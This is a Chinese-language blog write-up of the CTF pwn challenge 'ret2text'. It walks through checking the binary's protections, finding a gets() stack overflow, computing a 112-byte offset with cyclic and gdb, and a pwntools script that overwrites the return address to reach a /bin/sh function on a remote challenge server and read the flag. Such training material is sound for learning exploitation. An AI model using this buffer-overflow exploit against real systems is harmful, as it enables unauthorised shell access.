【ctf】ret2text

PWN ret2text

题目链接:ret2text

参考博客:CTF Wiki 基本 ROP

参考视频:【CTF】Linux PWN入门 Bamboofox社课系列

0x01

下载ret2text文件,复制到 翔哥的van美pwn机 中【ctf】ret2text_第1张图片
查看保护机制
【ctf】ret2text_第2张图片

Arch:    i386-32-little //文件为32位程序

RELRO:    Partial RELRO

Stack:    No canary found    //未开启canary保护

NX:      NX enabled    //开启了栈不可执行保护

PIE:      No PIE (0x8048000)    //未开启地址无关可执行

0x02

查看到文件为32位,拖入32位IDA中
找到main函数
【ctf】ret2text_第3张图片
发现有gets,那么肯定有栈溢出漏洞。

继续查找文件,发现secure,其中有/bin/sh
【ctf】ret2text_第4张图片

按shift后再按空格找到secure的地址
【ctf】ret2text_第5张图片
这个地址中的任意一个就行了
先写一部分脚本

# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload =   + p32(success_addr)
io.sendline(payload)
io.interactive()

0x03

找到需要返回的地址后,我们要寻找偏移量了。

使用cyclic生成字符队列
使用gdb工具,打开ret2text
run运行
输入刚刚生成的字符串
【ctf】ret2text_第6张图片

找到invalid address 0x62616164

【ctf】ret2text_第7张图片

使用cyclic -l 计算字符串偏移量
发现偏移了112位
【ctf】ret2text_第8张图片

0x04

找到偏移量和返回的地址直接写脚本

from pwn import *
# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload = 'a' * 112  + p32(success_addr)
io.sendline(payload)
io.interactive()

打开终端运行脚本

成功连接

使用ls查看目录

发现flag

直接cat flag

拿下!
【ctf】ret2text_第9张图片

你可能感兴趣的:(与君共勉,linux,安全,pwn)